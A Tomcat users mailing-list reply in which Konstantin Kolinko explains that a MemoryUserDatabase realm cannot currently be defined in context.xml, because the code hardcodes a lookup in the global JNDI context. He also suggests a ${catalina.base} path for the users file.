>  factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
> name=MyUserDatabase"
>  pathname="conf/my-users.xml"
>  type="org.apache.catalina.UserDatabase" />
>
>  resourceName="MyUserDatabase"/>
> 
>
> my-users.xml is stored in $CATALINA_BASE/conf/
>
>
> But it doesn't work; a javax.naming.NameNotFoundException exception is
> thrown when Tomcat restarts
>
>
> If I put  under GlobalNamingResources in server.xml , works
> fine, But I would prefer to held all configuration in context.xml
>
> is it possible ? or do I need to use GlobalNamingResources ?

With the current code: no.
It is hardcoded to do JNDI lookup in the global context.

It might be possible to port "localDataSource" option from
DataSourceRealm class.
(MMV. It depends on what ClassLoader is active when
MyUserDatabase.startInternal() is invoked).

> is the pathname right ?

In general I'd prefer to write "${catalina.base}/conf/my-users.xml",
but that is just my preference.

Best regards,
Konstantin Kolinko

-
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org